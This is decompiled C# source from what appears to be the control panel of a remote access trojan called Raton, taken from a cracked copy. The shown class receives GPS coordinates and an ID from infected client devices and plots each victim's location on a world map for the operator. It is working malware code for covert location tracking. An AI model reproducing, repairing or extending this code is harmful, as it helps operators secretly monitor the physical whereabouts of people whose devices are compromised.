53 lines
2.0 KiB
C#
53 lines
2.0 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: Server.Handlers.HandleGeo
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
|
|
|
using GMap.NET;
|
|
using GMap.NET.WindowsPresentation;
|
|
using Raton.Forms.ClientForms.Monitor;
|
|
using Server.Connection;
|
|
using Stuff;
|
|
using System;
|
|
using System.Globalization;
|
|
using System.Windows;
|
|
using System.Windows.Shapes;
|
|
|
|
#nullable disable
|
|
namespace Server.Handlers;
|
|
|
|
internal class HandleGeo
|
|
{
|
|
public HandleGeo(SillyClient SillyClient, Unpack msgUnpack)
|
|
{
|
|
ratonGPS geo = (ratonGPS) System.Windows.Forms.Application.OpenForms["Geo | Client ID: " + msgUnpack.GetAsString("UID")];
|
|
if (geo == null)
|
|
return;
|
|
if (geo.SillyClient == null)
|
|
geo.SillyClient = SillyClient;
|
|
geo.Invoke((Delegate) (() =>
|
|
{
|
|
string asString1 = msgUnpack.GetAsString("lat");
|
|
string asString2 = msgUnpack.GetAsString("lon");
|
|
GMapMarker marker = new GMapMarker(new PointLatLng(double.Parse(asString1, (IFormatProvider) CultureInfo.InvariantCulture), double.Parse(asString2, (IFormatProvider) CultureInfo.InvariantCulture)));
|
|
GMapMarker gmapMarker = marker;
|
|
gmapMarker.Shape = (UIElement) new Ellipse()
|
|
{
|
|
Width = 12.0,
|
|
Height = 12.0,
|
|
Fill = (System.Windows.Media.Brush) System.Windows.Media.Brushes.Red,
|
|
Stroke = (System.Windows.Media.Brush) System.Windows.Media.Brushes.White,
|
|
StrokeThickness = 2.0,
|
|
ToolTip = (object) ("User ID: " + msgUnpack.GetAsString("UID"))
|
|
};
|
|
Program.form2.Dispatcher.Invoke((Action) (() =>
|
|
{
|
|
Program.form2.AddMarker(marker);
|
|
Program.form2.AddSuccessLog((object) "GPS added to the world map", (object) System.Drawing.Color.LightGreen);
|
|
}));
|
|
geo.label1.Text = "Saved client location to the raton map";
|
|
}));
|
|
}
|
|
}
|